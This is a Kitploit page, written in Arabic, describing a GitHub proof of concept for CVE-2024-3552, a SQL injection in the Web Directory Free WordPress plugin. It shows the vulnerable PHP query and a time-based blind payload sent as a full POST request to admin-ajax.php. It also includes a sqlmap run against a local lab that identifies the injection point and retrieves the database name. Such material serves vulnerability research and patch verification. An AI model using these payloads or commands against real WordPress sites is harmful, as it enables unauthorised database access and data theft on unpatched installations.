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cve-2024-3552 | Kitploit
أدوات/GitHubGitHub/kiphuong/cve-2024-3552
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubkiphuong/cve-2024-3552

cve-2024-3552

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مشاركة

الوصف

الإضافة Web Directory Free (WordPress) قبل الإصدار 1.7.0 تحتوي على ثغرة حقن SQL (SQL Injection). دالة تنفيذ AJAX لا تخضع للتصفية/التعقيم (sanitise) بشكل كافٍ، مما يسمح للمهاجم بتعطيل استعلام SQL أو حقن جمل إضافية (UNION، time-based، error-based)

السياق

  • WordPress الإصدار 5.8
  • الإضافة web-directory-free الإصدار 1.6.9
  • MySQL الإصدار 5.7

الكود المصدري

image

في ملف ajax-controller.php → class w2dc_ajax_controller → الدالة get_map_marker_info

  1. يستقبل المدخلات مباشرة من المستخدم عبر القيمة $_POST['locations_ids'] دون التحقق منها
  2. لا يتم escape أو prepare للمدخلات $locations_ids = w2dc_getValue($_POST, 'locations_ids');
  3. يتم دمجها مباشرة في استعلام SQL. حيث أن $location_id هو كل عنصر داخل $_POST['locations_ids'] عبر حلقة foreach
root@kitploit:~
$row = $wpdb->get_row("SELECT * FROM {$wpdb->w2dc_locations_relationships} WHERE id=".$location_id, ARRAY_A);

⇒ يحدث حقن SQL (SQL injection)

العرض التوضيحي

استخدم الحمولة (payload) التالية = action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)

الطلب:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Length: 110
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/wp-admin/
Accept-Encoding: gzip, deflate, br

action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
  1. عند استخدام الحمولة بشرط صحيح ⇒ أي IF(1=1, …) ⇒ تأخير 5 ثوانٍ
image (1)
  1. عند استخدام الحمولة بشرط خاطئ ⇒ أي IF(1=2, …) ⇒ لا يوجد تأخير
image (2)

الخلاصة:

  • عند استخدام الحمولة بشرط صحيح، يستجيب الخادم خلال حوالي 6 ثوانٍ ⇒ تم تنفيذ SLEEP(5)
  • عند استخدام الحمولة بشرط خاطئ، يستجيب الخادم خلال حوالي ثانية واحدة ⇒ لم يتم تنفيذ SLEEP(5)

⇒ تم تنفيذ الاستعلامات المحقونة ⇒ الاستغلال ناجح

استخدام sqlmap للمسح

root@kitploit:~
kp@ubuntu:~/Desktop/cve-2024-3552$ sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
>   --data="action=w2dc_get_map_marker_info&locations_ids[]=1" \
>   -p "locations_ids[]" \
>   --batch --current-db --threads=5
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:59:23 /2025-07-22/

[00:59:24] [INFO] testing connection to the target URL
[00:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:59:24] [INFO] testing if the target URL content is stable
[00:59:24] [INFO] target URL content is stable
[00:59:24] [WARNING] heuristic (basic) test shows that POST parameter 'locations_ids[]' might not be injectable
[00:59:24] [INFO] testing for SQL injection on POST parameter 'locations_ids[]'
[00:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[00:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:59:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[00:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:59:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:59:27] [INFO] testing 'Generic inline queries'
[00:59:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[00:59:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[00:59:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[00:59:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:59:38] [INFO] POST parameter 'locations_ids[]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:59:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:59:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:59:40] [INFO] checking if the injection point on POST parameter 'locations_ids[]' is a false positive
POST parameter 'locations_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: locations_ids[] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO)
---
[00:59:55] [INFO] the back-end DBMS is MySQL
[00:59:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[00:59:56] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[00:59:56] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[01:00:11] [INFO] adjusting time delay to 1 second due to good response times
wp_db
current database: 'wp_db'
[01:00:34] [INFO] fetched data logged to text files under '/home/kp/.sqlmap/output/localhost'
[01:00:34] [WARNING] you haven't updated sqlmap for more than 1936 days!!!

[*] ending @ 01:00:34 /2025-07-22/

تم الحصول على الحمولة (Payload) = action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO) ⇒ توجد ثغرة SQLi

GitHub

https://github.com/KiPhuong/cve-2024-3552.git

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